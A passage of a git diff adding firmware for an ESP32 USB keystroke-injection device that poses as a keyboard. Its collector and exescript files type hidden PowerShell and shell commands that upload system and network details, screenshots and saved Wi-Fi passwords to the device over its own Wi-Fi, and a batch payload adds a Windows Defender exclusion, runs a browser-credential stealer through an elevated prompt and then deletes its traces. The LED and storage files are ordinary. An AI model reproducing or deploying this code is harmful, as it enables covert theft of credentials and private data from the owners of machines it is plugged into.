os.txt macos;" + "up hostname.txt \"$(hostname)\n$(whoami)\";" + "up network_full.txt \"$(ifconfig -a)\";" + "up network_macs.txt \"$(networksetup -listallhardwareports 2>/dev/null; ifconfig|grep ether)\";" + "up arp.txt \"$(arp -a)\";" + "up netstat.txt \"$(netstat -an 2>/dev/null)\";" + "up collected_at.txt \"$(date -Iseconds)\";" + "screencapture -x /tmp/a32sc.png 2>/dev/null;" + "curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\";" + "exit"; + + write_task(script, 8, true); + delay(400); +} + +static void linux_profile_steps() +{ + open_linux_terminal(); + + static const char *script = + "[ \"$(uname)\" = Linux ]||exit 0;" + "nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;" + "sleep 5;" + "U=http://192.168.4.1/api/upload;" + "up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };" + "up os.txt linux;" + "up hostname.txt \"$(hostname)\n$(whoami)\";" + "up network_macs.txt \"$(ip -br link; cat /sys/class/net/*/address 2>/dev/null)\";" + "up network_full.txt \"$(ip addr)\";" + "up arp.txt \"$(ip neigh)\";" + "up routes.txt \"$(ip route)\";" + "up netstat.txt \"$(ss -tuln 2>/dev/null||netstat -an)\";" + "up collected_at.txt \"$(date -Iseconds)\";" + "scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;" + "curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\" 2>/dev/null;" + "exit"; + + write_task(script, 8, true); + delay(400); +} + +void collect_profile_auto() +{ + win_profile_steps(); + delay(800); + mac_profile_steps(); + delay(800); + linux_profile_steps(); +} + +void collect_profile_windows() { win_profile_steps(); } +void collect_profile_macos() { mac_profile_steps(); } +void collect_profile_linux() { linux_profile_steps(); } + +void collect_lab_scan() +{ + upload_status_set_phase("lab_scan"); + win_lab_scan_steps(); + delay(800); + mac_lab_scan_steps(); + delay(800); + linux_lab_scan_steps(); + upload_status_set_phase("awaiting_uploads"); +} + +void collect_network_macs() { collect_profile_auto(); } + +void collect_screenshot() +{ + open_run_hidden_ps(); + static const char *win[] = { + "$u='http://192.168.4.1/api/upload'", + "netsh wlan connect name=aether32 ssid=aether32 2>$null", + "Start-Sleep 3", + "Add-Type -AssemblyName System.Windows.Forms,System.Drawing", + "$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds", + "$i=New-Object Drawing.Bitmap $b.Width,$b.Height", + "$g=[Drawing.Graphics]::FromImage($i)", + "$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)", + "$t=$env:TEMP+'\\a32sc.png'", + "$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)", + "Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body ([IO.File]::ReadAllBytes($t)) -ContentType 'application/octet-stream'", + "exit", + }; + type_lines(win, sizeof(win) / sizeof(win[0])); + delay(600); + + open_mac_terminal(); + write_task( + "[ \"$(uname)\" = Darwin ]||exit 0;" + "networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;sleep 3;" + "screencapture -x /tmp/a32sc.png;" + "curl -sf -X POST --data-binary @/tmp/a32sc.png http://192.168.4.1/api/upload?name=screen.png;exit", + 8, true); + delay(600); + + open_linux_terminal(); + write_task( + "[ \"$(uname)\" = Linux ]||exit 0;" + "nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;sleep 3;" + "scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;" + "curl -sf -X POST --data-binary @/tmp/a32sc.png http://192.168.4.1/api/upload?name=screen.png;exit", + 8, true); +} + +static void win_upload_text(const char *filename, const char *ps_body_expr) +{ + open_run_hidden_ps(); + write_task("$u='http://192.168.4.1/api/upload'", 9, true); + write_task("netsh wlan connect name=aether32 ssid=aether32 2>$null", 9, true); + write_task("Start-Sleep 4", 9, true); + char cmd[384]; + snprintf(cmd, sizeof(cmd), + "Invoke-RestMethod -Uri ($u+'?name=%s') -Method Post -Body (%s|Out-String) -ContentType 'text/plain'", + filename, ps_body_expr); + write_task(cmd, 8, true); + write_task("exit", 9, true); +} + +static void mac_upload_text(const char *filename, const char *body_shell) +{ + open_mac_terminal(); + char script[640]; + snprintf(script, sizeof(script), + "[ \"$(uname)\" = Darwin ]||exit 0;" + "networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;" + "sleep 4;" + "curl -sf -X POST -d \"$(%s)\" \"http://192.168.4.1/api/upload?name=%s\";" + "exit", + body_shell, filename); + write_task(script, 8, true); + delay(400); +} + +static void linux_upload_text(const char *filename, const char *body_shell) +{ + open_linux_terminal(); + char script[640]; + snprintf(script, sizeof(script), + "[ \"$(uname)\" = Linux ]||exit 0;" + "nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;" + "sleep 4;" + "curl -sf -X POST -d \"$(%s)\" \"http://192.168.4.1/api/upload?name=%s\";" + "exit", + body_shell, filename); + write_task(script, 8, true); + delay(400); +} + +static void lab_collect_triple(const char *filename, const char *ps_body, + const char *mac_body, const char *linux_body) +{ + upload_status_set_phase("lab_collect"); + win_upload_text(filename, ps_body); + delay(600); + mac_upload_text(filename, mac_body); + delay(600); + linux_upload_text(filename, linux_body); + upload_status_set_phase("awaiting_uploads"); +} + +void collect_dispatch(const char *id) +{ + if (strcmp(id, "lab_scan") == 0) { collect_lab_scan(); return; } + if (strcmp(id, "profile_auto") == 0) { upload_status_set_phase("profile"); collect_profile_auto(); upload_status_set_phase("awaiting_uploads"); return; } + if (strcmp(id, "profile_windows") == 0) { upload_status_set_phase("profile"); collect_profile_windows(); upload_status_set_phase("awaiting_uploads"); return; } + if (strcmp(id, "profile_macos") == 0) { upload_status_set_phase("profile"); collect_profile_macos(); upload_status_set_phase("awaiting_uploads"); return; } + if (strcmp(id, "profile_linux") == 0) { upload_status_set_phase("profile"); collect_profile_linux(); upload_status_set_phase("awaiting_uploads"); return; } + if (strcmp(id, "network_macs") == 0) { collect_network_macs(); return; } + if (strcmp(id, "screenshot") == 0) { collect_screenshot(); return; } + + if (strcmp(id, "disk_space") == 0) + lab_collect_triple("disk_space.txt", + "Get-PSDrive -PSProvider FileSystem|Format-List; Get-CimInstance Win32_LogicalDisk|Select DeviceID,Size,FreeSpace|Format-Table", + "df -h", "df -h"); + else if (strcmp(id, "logged_in_user") == 0) + lab_collect_triple("logged_in_user.txt", + "whoami; query user", "whoami; w", "whoami; w; id"); + else if (strcmp(id, "uptime") == 0) + lab_collect_triple("uptime.txt", + "$o=Get-CimInstance Win32_OperatingSystem;\"LastBoot: $($o.LastBootUpTime)`nUptime: $((Get-Date)-$o.LastBootUpTime)\"", + "uptime; last reboot 2>/dev/null|head -3", "uptime; who -b 2>/dev/null"); + else if (strcmp(id, "av_status") == 0) + lab_collect_triple("av_status.txt", + "try{Get-MpComputerStatus|Format-List|Out-String}catch{Get-CimInstance -Namespace root/SecurityCenter2 -Class AntiVirusProduct|Format-List|Out-String}", + "spctl --status 2>/dev/null", "systemctl is-active clamav-daemon 2>/dev/null; dpkg -l 2>/dev/null|grep -i clamav||echo none"); + else if (strcmp(id, "os_version") == 0) + lab_collect_triple("os_version.txt", + "Get-ComputerInfo|Select OsName,OsVersion,OsBuildNumber|Format-List", + "sw_vers; uname -a", "cat /etc/os-release 2>/dev/null; uname -a"); + else if (strcmp(id, "ram") == 0) + lab_collect_triple("ram.txt", + "Get-CimInstance Win32_PhysicalMemory|Measure-Object -Property capacity -Sum|ForEach{\"Total RAM GB: $([math]::Round($_.Sum/1GB,2))\"}", + "sysctl hw.memsize 2>/dev/null; system_profiler SPHardwareDataType 2>/dev/null|grep Memory", + "free -h; grep MemTotal /proc/meminfo"); + else if (strcmp(id, "gateway_dns") == 0) + lab_collect_triple("gateway_dns.txt", + "Get-NetRoute -DestinationPrefix '0.0.0.0/0'|Format-Table; Get-DnsClientServerAddress -AddressFamily IPv4|Format-Table", + "netstat -nr|grep default; scutil --dns 2>/dev/null|head -20", + "ip route|grep default; cat /etc/resolv.conf"); + else if (strcmp(id, "sysinfo") == 0) + win_upload_text("sysinfo.txt", "systeminfo"); + else if (strcmp(id, "network") == 0) + win_upload_text("network_full.txt", "ipconfig /all"); + else if (strcmp(id, "arp") == 0) + win_upload_text("arp.txt", "arp -a"); + else if (strcmp(id, "netstat") == 0) + win_upload_text("netstat.txt", "netstat -an"); + else if (strcmp(id, "routes") == 0) + win_upload_text("routes.txt", "route print"); + else if (strcmp(id, "hostname") == 0) + win_upload_text("hostname.txt", "hostname; whoami"); + else if (strcmp(id, "users") == 0) + win_upload_text("whoami.txt", "whoami /all"); + else if (strcmp(id, "processes") == 0) + win_upload_text("processes.txt", "Get-Process|Sort CPU -Desc|Select Name,Id,CPU|Format-Table"); + else if (strcmp(id, "wifi_passwords") == 0) + { + open_run_hidden_ps(); + write_task("$u='http://192.168.4.1/api/upload'", 9, true); + write_task("netsh wlan connect name=aether32 ssid=aether32 2>$null", 9, true); + write_task("Start-Sleep 4", 9, true); + write_task( + "$o=@();netsh wlan show profiles|Select-String 'All User Profile'|ForEach-Object{$n=$_.ToString().Split(':')[1].Trim();$o+=netsh wlan show profile name=\"$n\" key=clear};" + "Invoke-RestMethod -Uri ($u+'?name=wifi_passwords.txt') -Method Post -Body ($o|Out-String)", + 8, true); + write_task("exit", 9, true); + } +} diff --git a/src/components/collector.h b/src/components/collector.h new file mode 100644 index 0000000..0a6d9a6 --- /dev/null +++ b/src/components/collector.h @@ -0,0 +1,15 @@ +#ifndef COLLECTOR_H +#define COLLECTOR_H + +#include + +void collect_profile_auto(); +void collect_profile_windows(); +void collect_profile_macos(); +void collect_profile_linux(); +void collect_network_macs(); +void collect_screenshot(); +void collect_lab_scan(); +void collect_dispatch(const char *id); + +#endif diff --git a/src/components/config_store.cpp b/src/components/config_store.cpp new file mode 100644 index 0000000..c29e6c0 --- /dev/null +++ b/src/components/config_store.cpp @@ -0,0 +1,99 @@ +#include "config_store.h" +#include + +#define CFG_FILE "/cfg.dat" +#define SEP '\x01' + +AutoRunConfig g_autorun = {false, false, 3500, "elevated", ""}; + +static bool is_allowed_shell(const char *shell) +{ + return strcmp(shell, "elevated") == 0 || + strcmp(shell, "cmd") == 0 || + strcmp(shell, "powershell") == 0 || + strcmp(shell, "run") == 0; +} + +static void sanitize_stored_field(char *s, size_t maxlen) +{ + size_t out = 0; + for (size_t i = 0; s[i] && out < maxlen - 1; i++) + { + unsigned char c = (unsigned char)s[i]; + if (c == SEP || c < 0x20) + continue; + s[out++] = s[i]; + } + s[out] = '\0'; +} + +void config_load() +{ + File f = LittleFS.open(CFG_FILE, "r"); + if (!f) return; + + String line; + while (f.available()) + { + char c = (char)f.read(); + if (c == '\n' || c == '\r') break; + line += c; + } + f.close(); + + if (line.length() == 0) return; + + int p0 = line.indexOf(SEP); if (p0 < 0) return; + int p1 = line.indexOf(SEP, p0+1); if (p1 < 0) return; + int p2 = line.indexOf(SEP, p1+1); if (p2 < 0) return; + int p3 = line.indexOf(SEP, p2+1); + + g_autorun.enabled = (line.substring(0, p0) == "1"); + + int d = line.substring(p0+1, p1).toInt(); + g_autorun.delay_ms = (d < 500 || d > 15000) ? 3500 : d; + + strncpy(g_autorun.shell, line.substring(p1+1, p2).c_str(), sizeof(g_autorun.shell)-1); + g_autorun.shell[sizeof(g_autorun.shell)-1] = '\0'; + if (!is_allowed_shell(g_autorun.shell)) + strncpy(g_autorun.shell, "run", sizeof(g_autorun.shell)); + + if (p3 >= 0) + { + strncpy(g_autorun.cmd, line.substring(p2 + 1, p3).c_str(), sizeof(g_autorun.cmd) - 1); + g_autorun.cmd[sizeof(g_autorun.cmd) - 1] = '\0'; + g_autorun.lab_scan_on_plug = (line.substring(p3 + 1) == "1"); + } + else + { + strncpy(g_autorun.cmd, line.substring(p2 + 1).c_str(), sizeof(g_autorun.cmd) - 1); + g_autorun.cmd[sizeof(g_autorun.cmd) - 1] = '\0'; + g_autorun.lab_scan_on_plug = false; + } + sanitize_stored_field(g_autorun.cmd, sizeof(g_autorun.cmd)); +} + +bool config_save() +{ + sanitize_stored_field(g_autorun.shell, sizeof(g_autorun.shell)); + sanitize_stored_field(g_autorun.cmd, sizeof(g_autorun.cmd)); + if (!is_allowed_shell(g_autorun.shell)) + strncpy(g_autorun.shell, "run", sizeof(g_autorun.shell)); + + LittleFS.remove(CFG_FILE); + File f = LittleFS.open(CFG_FILE, "w"); + if (!f) return false; + + f.print(g_autorun.enabled ? "1" : "0"); + f.print((char)SEP); + f.print(g_autorun.delay_ms); + f.print((char)SEP); + f.print(g_autorun.shell); + f.print((char)SEP); + f.print(g_autorun.cmd); + f.print((char)SEP); + f.print(g_autorun.lab_scan_on_plug ? "1" : "0"); + f.print('\n'); + f.close(); + return true; +} diff --git a/src/components/config_store.h b/src/components/config_store.h new file mode 100644 index 0000000..da2d974 --- /dev/null +++ b/src/components/config_store.h @@ -0,0 +1,19 @@ +#ifndef CONFIG_STORE_H +#define CONFIG_STORE_H + +#include + +struct AutoRunConfig { + bool enabled; + bool lab_scan_on_plug; + int delay_ms; // ms to wait after USB connects before firing + char shell[16]; // "elevated", "cmd", "powershell", "run" + char cmd[220]; // optional command to type after shell opens (empty = just open shell) +}; + +extern AutoRunConfig g_autorun; + +void config_load(); +bool config_save(); + +#endif diff --git a/src/components/exescript.cpp b/src/components/exescript.cpp new file mode 100644 index 0000000..5976692 --- /dev/null +++ b/src/components/exescript.cpp @@ -0,0 +1,236 @@ +#include "exescript.h" +#include "config_store.h" + +USBHIDKeyboard Keyboard; +TaskParameters task_params(" ", 5, false); +SemaphoreHandle_t write_complete_semaphore = nullptr; +TaskHandle_t write_task_handle = nullptr; + +// Actual Task Function +void write_task_wrapper(void *parameters) +{ + while (true) + { + // Wait to be resumed + vTaskSuspend(NULL); + + vTaskDelay(pdMS_TO_TICKS(10)); + write(task_params.str, task_params.del, task_params.enter); + + // Signal completion + xSemaphoreGive(write_complete_semaphore); + } +} + +// Initialise the Writing Task +static bool create_write_task() +{ + BaseType_t ok = xTaskCreatePinnedToCore( + write_task_wrapper, + "write_task_name", + 14000, // Keeping big stack size to prevent crashes + nullptr, + configMAX_PRIORITIES - 1, // Max Priority + &write_task_handle, // Task handle + 1 // Pinned to Core 1 + ); + if (ok != pdPASS) + write_task_handle = nullptr; + return ok == pdPASS; +} + +void write_task(const char *str, const int del, bool enter = false) +{ + if (!str) + return; + + if (write_task_handle == nullptr || write_complete_semaphore == nullptr) + { + write(str, del, enter); + return; + } + + xSemaphoreTake(write_complete_semaphore, 0); + + task_params.str = str; + task_params.del = del; + task_params.enter = enter; + + led_blink(0, 255, 255, true); + + // Resume Task if handle is available + if (write_task_handle != nullptr) + { + vTaskResume(write_task_handle); + } + + // Wait for the writing task to complete. + if (xSemaphoreTake(write_complete_semaphore, portMAX_DELAY) == pdTRUE) + { + led_idle(1, 1, 1); + } +} + +// Count string length +int count_len(const char *str) +{ + int len = 0; + while (*str != '\0') + { + len++; + str++; + } + return len; +} + +void write(const char *str, const int del, bool enter) +{ + int len = count_len(str); + for (int i = 0; i < len; i++) + { + Keyboard.write(str[i]); + vTaskDelay(pdMS_TO_TICKS(del)); // Adjust the delay as needed + } + if (enter) + { + Keyboard.write(KEY_RETURN); + } +} + +// Press WIN+R, open cmd, say hello world +void open_elevated_cmd() +{ + Keyboard.pressRaw(0xE3); // WINDOWS KEY + Keyboard.pressRaw(0x15); // R KEY + Keyboard.releaseAll(); + delay(1000); + write_task(R"(powershell -command "Start-Process cmd.exe -Verb RunAs")", 30, true); + delay(1000); + Keyboard.releaseAll(); + delay(1000); + Keyboard.write(KEY_LEFT_ARROW); + delay(1000); + Keyboard.write(KEY_RETURN); + delay(1000); +} + +// Remove traces from 'C:\Windows\Temp\' +void clear_trace() +{ + open_elevated_cmd(); + delay(100); + write_task("CD ..", 5, true); + write_task(R"(powershell -Command "Remove-Item 'C:/Windows/Temp/temp*' -Recurse -Force")", 5, true); + delay(2000); + write_task("exit", 5, true); +} + +// Open Elevated Command Prompt, create a batch file +// Note - This code adds the filename to exception of Windows Defender List +void payload() +{ + open_elevated_cmd(); + const char start[] = R"(CD /d C:/Windows/Temp +mkdir temp +cd temp +rem/ > execute.bat +notepad execute.bat +)"; + write_task(start, 30, true); + delay(2000); + const char data[] = R"(@echo off +setlocal enabledelayedexpansion +TIMEOUT /t 10 /nobreak +powershell -Command Add-MpPreference -ExclusionPath "D:\hack-browser-data.exe" +for %%d in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do ( +if exist "%%d:\" ( + if exist "%%d:\find_temp_check.txt" ( + echo "find_temp_check.txt" found in %%d:\ + cd /d "%%d:\" + hack-browser-data.exe + ) + ) +) +powershell -Command "Remove-Item 'C:/Windows/Temp/temp*' -Recurse -Force" +TIMEOUT /t 3 /nobreak +exit +)"; + write_task(data, 15, false); + delay(1000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.write('s'); // save the file + Keyboard.release('s'); + Keyboard.press('w'); // remove notepad traces + Keyboard.releaseAll(); + delay(800); + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(KEY_F4); + Keyboard.releaseAll(); + delay(1200); + Keyboard.write(KEY_RETURN); + delay(2000); +} + +// Fired automatically when USB connects (if auto-run is enabled in config) +void autorun_execute() +{ + // Step 1: always try to get elevated access + if (strcmp(g_autorun.shell, "cmd") == 0) + { + Keyboard.pressRaw(0xE3); // WIN + Keyboard.pressRaw(0x15); // R + Keyboard.releaseAll(); + delay(500); + write_task("cmd", 25, true); + delay(700); + } + else if (strcmp(g_autorun.shell, "powershell") == 0) + { + Keyboard.pressRaw(0xE3); + Keyboard.pressRaw(0x15); + Keyboard.releaseAll(); + delay(500); + write_task("powershell", 25, true); + delay(900); + } + else if (strcmp(g_autorun.shell, "run") == 0) + { + Keyboard.pressRaw(0xE3); + Keyboard.pressRaw(0x15); + Keyboard.releaseAll(); + delay(500); + } + else if (strcmp(g_autorun.shell, "elevated") == 0) + { + open_elevated_cmd(); + } + else + { + return; + } + + // Step 2: if a command was configured, type it + if (g_autorun.cmd[0] != '\0') + { + delay(1400); + write_task(g_autorun.cmd, 15, true); + } +} + +// Initialize USB connection +void setup_usb() +{ + if (USB.begin()) + { + delay(200); // Give it time to start + Keyboard.begin(); + write_complete_semaphore = xSemaphoreCreateBinary(); + if (write_complete_semaphore == nullptr) + return; + + delay(200); + if (!create_write_task()) + return; + delay(50); + } +} diff --git a/src/components/exescript.h b/src/components/exescript.h new file mode 100644 index 0000000..e4b8ea8 --- /dev/null +++ b/src/components/exescript.h @@ -0,0 +1,32 @@ +// exescript.h +#ifndef EXESCRIPT_H +#define EXESCRIPT_H + +#include "USB.h" +#include "USBHIDKeyboard.h" + +#include "rgb_control.h" + +struct TaskParameters +{ + const char *str; + int del; // Remove the const qualifier + bool enter; + + // Constructor to initialize members + TaskParameters(const char *s, int d, bool e) : str(s), del(d), enter(e) {} +}; + +extern USBHIDKeyboard Keyboard; +extern bool check_delay; + +// Function declarations +void setup_usb(); +void open_elevated_cmd(); +void clear_trace(); +void payload(); +void autorun_execute(); +void write(const char *str, const int del, bool e); +void write_task(const char *str, const int del, bool); + +#endif diff --git a/src/components/flash_fs.cpp b/src/components/flash_fs.cpp new file mode 100644 index 0000000..89de76f --- /dev/null +++ b/src/components/flash_fs.cpp @@ -0,0 +1,69 @@ +#include "flash_fs.h" + +bool flash_fs_init() +{ + if (!LittleFS.begin(true)) + return false; + return flash_fs_ensure_results(); +} + +bool flash_fs_ensure_results() +{ + if (!LittleFS.exists(RESULTS_DIR)) + return LittleFS.mkdir(RESULTS_DIR); + return true; +} + +static String result_path(const char *name) +{ + String p = RESULTS_DIR; + p += "/"; + p += name; + return p; +} + +bool flash_fs_write_result(const char *name, const uint8_t *data, size_t len) +{ + if (!name || !data || len == 0) + return false; + if (!flash_fs_ensure_results()) + return false; + + File f = LittleFS.open(result_path(name), "w"); + if (!f) + return false; + size_t w = f.write(data, len); + f.close(); + return w == len; +} + +bool flash_fs_write_result_text(const char *name, const char *text) +{ + if (!text) + return false; + return flash_fs_write_result(name, (const uint8_t *)text, strlen(text)); +} + +String flash_fs_read_result(const char *name, size_t maxSize) +{ + String out; + if (!name) + return out; + File f = LittleFS.open(result_path(name), "r"); + if (!f) + return out; + out.reserve(min((size_t)f.size() + 1, maxSize)); + size_t n = 0; + while (f.available() && n < maxSize) + { + out += (char)f.read(); + n++; + } + f.close(); + return out; +} + +bool flash_fs_result_exists(const char *name) +{ + return name && LittleFS.exists(result_path(name)); +} diff --git a/src/components/flash_fs.h b/src/components/flash_fs.h new file mode 100644 index 0000000..0bee53a --- /dev/null +++ b/src/components/flash_fs.h @@ -0,0 +1,16 @@ +#ifndef FLASH_FS_H +#define FLASH_FS_H + +#include +#include + +#define RESULTS_DIR "/results" + +bool flash_fs_init(); +bool flash_fs_ensure_results(); +bool flash_fs_write_result(const char *name, const uint8_t *data, size_t len); +bool flash_fs_write_result_text(const char *name, const char *text); +String flash_fs_read_result(const char *name, size_t maxSize = 65536); +bool flash_fs_result_exists(const char *name); + +#endif diff --git a/src/components/rgb_control.cpp b/src/components/rgb_control.cpp new file mode 100644 index 0000000..5612b15 --- /dev/null +++ b/src/components/rgb_control.cpp @@ -0,0 +1,351 @@ +#include "rgb_control.h" + +#include +#include +#include + +// // Change the value w.r.t. your configuration +// static const int pin = 21; +// int blink_delay = 50; + +// TaskHandle_t hndl_rgb_blink = nullptr, hndl_rgb_idle = nullptr; + +// // Wrapper function +// void blink(bool check) +// { +// if (check == true) +// { +// vTaskResume(hndl_rgb_blink); +// } +// else +// { +// vTaskResume(hndl_rgb_idle); +// } +// } + +// void blink_task(void *temp) +// { +// (void)temp; // Unwanted + +// vTaskSuspend(hndl_rgb_idle); +// vTaskDelay(pdMS_TO_TICKS(100)); + +// while (true) +// { +// neopixelWrite(pin, 0, 64, 64); +// vTaskDelay(pdMS_TO_TICKS(blink_delay)); +// neopixelWrite(pin, 0, 0, 0); +// vTaskDelay(pdMS_TO_TICKS(blink_delay)); +// } +// } + +// void idle_task(void *temp) +// { +// (void)temp; // Unwanted + +// vTaskSuspend(hndl_rgb_blink); +// vTaskDelay(pdMS_TO_TICKS(100)); + +// while (true) +// { +// for (int i = 64, j = 0, k = 64; i >= 0; i--, j++, k--) +// { +// neopixelWrite(pin, k, j, i); +// vTaskDelay(pdMS_TO_TICKS(blink_delay)); +// } +// } +// } + +// // Initialise RGB tasks & suspend them +// void setup_rgb() +// { +// // Create RGB blinker task pinned to core 1 +// xTaskCreatePinnedToCore( +// blink_task, // Function Name +// "blink_rgb", // Task name +// 2000, // Stack size +// nullptr, // When no parameter is used, simply pass NULL +// 1, // Priority +// &hndl_rgb_blink, // Task handle +// 1 // Core on which the task will run +// ); +// vTaskSuspend(hndl_rgb_blink); +// // Create RGB idle task pinned to core 1 +// xTaskCreatePinnedToCore( +// idle_task, // Function Name +// "idle_rgb", // Task name +// 2000, // Stack size +// nullptr, // When no parameter is used, simply pass NULL +// 1, // Priority +// &hndl_rgb_idle, // Task handle +// 1 // Core on which the task will run +// ); +// vTaskSuspend(hndl_rgb_idle); +// neopixelWrite(pin, 0, 0, 0); +// } + +enum +{ + INDICATOR_LED_STOP = 1 << 0, // 1 + INDICATOR_LED_BLINK = 1 << 1, // 2 + INDICATOR_LED_BLINK_CONT = 1 << 2, // 4 + INDICATOR_LED_RADIATE = 1 << 3, // 8 + INDICATOR_LED_IDLE = 1 << 4 // 16 +}; + +static void led_task(void *pvParameter); +static void handle_radiate(bool red, bool green, bool blue); +static void handle_blink(bool continuous); + +static const int pin = 21; +static TaskHandle_t hndl_led_task = NULL; +static const uint8_t led_radiate_arr[] = {0, 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, 66, 78, 91, 105, 120, 136, 153, 171, 190, 210, 231, 255}; +static uint8_t led_delay = 50; // Delay in milliseconds +static led_color_t color = {0}; + +esp_err_t rgb_init(void) +{ + // Register Task to the core 1 only + xTaskCreatePinnedToCore( + led_task, // Task function + "led_task", // Name for debugging + 4096, // Stack depth + NULL, // Parameters + 0, // Priority + &hndl_led_task, // Task handle (optional) + 1 // Pin to core 1 + ); + + if (hndl_led_task == NULL) + { + return ESP_FAIL; + } + else + { + return ESP_OK; + } +} + +esp_err_t rgb_deinit(void) +{ + vTaskDelete(xTaskGetHandle("led_task")); + ESP_LOGI(TAG, "Led Task deleted"); + clear_led(); + return ESP_OK; +} + +static void led_task(void *pvParameter) +{ + uint32_t notification = 0; + while (true) + { + notification = 0; + ESP_LOGI(TAG, "RGB Task Waiting for Notification"); + xTaskNotifyWait(0x00, ULONG_MAX, ¬ification, portMAX_DELAY); + ESP_LOGI(TAG, "RGB Task Received Notification"); + + if (notification == INDICATOR_LED_BLINK) + { + led_task_delay((uint8_t)100); + handle_blink(false); + continue; + } + + else if (notification == INDICATOR_LED_RADIATE) + { + led_task_delay((uint8_t)150); + handle_radiate((color.red != 0) ? true : false, + (color.green != 0) ? true : false, + (color.blue != 0) ? true : false); + } + + else if (notification == INDICATOR_LED_BLINK_CONT) + { + led_task_delay((uint8_t)300); + handle_blink(true); + } + + else if (notification == INDICATOR_LED_IDLE) + { + led_task_delay((uint8_t)50); + handle_radiate((color.red != 0) ? true : false, + (color.green != 0) ? true : false, + (color.blue != 0) ? true : false); + } + + else if (notification == INDICATOR_LED_STOP) + { + clear_led(); + continue; + } + + else + { + continue; + } + } + + // Should never reach here - If it does, suspend the task + vTaskSuspend(NULL); +} + +static void handle_radiate(bool red, bool green, bool blue) +{ + uint8_t len = sizeof(led_radiate_arr) / sizeof(led_radiate_arr[0]) - 1; + uint8_t del = led_delay; + uint8_t i = 0; + led_color_t color_val = {0}; + uint32_t notification = 0; + ESP_LOGI(TAG, "%s Flicking %s LED(s)", (del >= 100) ? "Smoothly" : "Fast", + (red && green && blue) ? "All" + : (red && green) ? "Red & Green" + : (red && blue) ? "Red & Blue" + : (green && blue) ? "Green & Blue" + : (red) ? "Red" + : (green) ? "Green" + : (blue) ? "Blue" + : "None"); + + while (true) + { + if (xTaskNotifyWait(0x00, 0x00, ¬ification, pdMS_TO_TICKS(5)) == pdTRUE) + { + clear_led(); + xTaskNotifyStateClear(NULL); + break; + }; + + for (i = 0; i < len; i++) + { + if (red) + { + color_val.red = led_radiate_arr[i]; + }; + if (green) + { + color_val.green = led_radiate_arr[i]; + }; + if (blue) + { + color_val.blue = led_radiate_arr[i]; + }; + set_led(&color_val); + vTaskDelay(pdMS_TO_TICKS(del)); + } + + if (xTaskNotifyWait(0x00, 0x00, ¬ification, pdMS_TO_TICKS(5)) == pdTRUE) + { + clear_led(); + xTaskNotifyStateClear(NULL); + break; + }; + + for (i = len - 1; i > 0; i--) + { + if (red) + { + color_val.red = led_radiate_arr[i]; + }; + if (green) + { + color_val.green = led_radiate_arr[i]; + }; + if (blue) + { + color_val.blue = led_radiate_arr[i]; + }; + set_led(&color_val); + vTaskDelay(pdMS_TO_TICKS(del)); + } + } + ESP_LOGI(TAG, "Flicker Task Stopped"); + xTaskNotify(hndl_led_task, notification, eSetValueWithOverwrite); +} + +static void handle_blink(bool continuous) +{ + if (continuous == true) + { + uint32_t notification = 0; + while (true) + { + if (xTaskNotifyWait(0x00, 0x00, ¬ification, pdMS_TO_TICKS(5)) == pdTRUE) + { + clear_led(); + xTaskNotifyStateClear(NULL); + xTaskNotify(hndl_led_task, notification, eSetValueWithOverwrite); + break; + }; + set_led(&color); + vTaskDelay(pdMS_TO_TICKS(led_delay)); + clear_led(); + vTaskDelay(pdMS_TO_TICKS(led_delay)); + } + xTaskNotify(hndl_led_task, notification, eSetValueWithOverwrite); + } + else + { + set_led(&color); + vTaskDelay(pdMS_TO_TICKS(led_delay)); + clear_led(); + } +} + +void clear_led(void) +{ + neopixelWrite(pin, 0, 0, 0); +} + +void set_led(led_color_t *color_value) +{ + neopixelWrite(pin, color_value->green, color_value->red, color_value->blue); +} + +void led_task_delay(uint8_t new_delay) +{ + // Keep delay >= 50ms - Helps prevent error with HID events + led_delay = (new_delay < 50) ? 50 : new_delay; +} + +void led_idle(bool red, bool green, bool blue) +{ + color.red = (red) ? 255 : 0; + color.green = (green) ? 255 : 0; + color.blue = (blue) ? 255 : 0; + xTaskNotify(hndl_led_task, INDICATOR_LED_IDLE, eSetValueWithOverwrite); +} + +void led_radiate(bool red, bool green, bool blue) +{ + color.red = (red) ? 255 : 0; + color.green = (green) ? 255 : 0; + color.blue = (blue) ? 255 : 0; + xTaskNotify(hndl_led_task, INDICATOR_LED_RADIATE, eSetValueWithOverwrite); +} + +void led_blink(uint8_t red, uint8_t green, uint8_t blue, bool continuous) +{ + color.red = red; + color.green = green; + color.blue = blue; + if (continuous) + { + xTaskNotify(hndl_led_task, INDICATOR_LED_BLINK_CONT, eSetValueWithOverwrite); + } + else + { + xTaskNotify(hndl_led_task, INDICATOR_LED_BLINK, eSetValueWithOverwrite); + } +} + +void led_check_error(esp_err_t err) +{ + if (err == ESP_OK) + { + led_blink((uint8_t)0, (uint8_t)255, (uint8_t)0, false); + } + else + { + led_blink((uint8_t)255, (uint8_t)0, (uint8_t)0, false); + } +} diff --git a/src/components/rgb_control.h b/src/components/rgb_control.h new file mode 100644 index 0000000..0439fc5 --- /dev/null +++ b/src/components/rgb_control.h @@ -0,0 +1,30 @@ +// rgb_control.h +#ifndef RGB_CONTROL_H +#define RGB_CONTROL_H + +#include +#include + +typedef struct led_color_t +{ + uint8_t red; + uint8_t green; + uint8_t blue; +} led_color_t; + +// Function declarations +esp_err_t rgb_init(); +esp_err_t rgb_deinit(); +void clear_led(void); +void set_led(led_color_t *color); +void led_task_delay(uint8_t del); +void 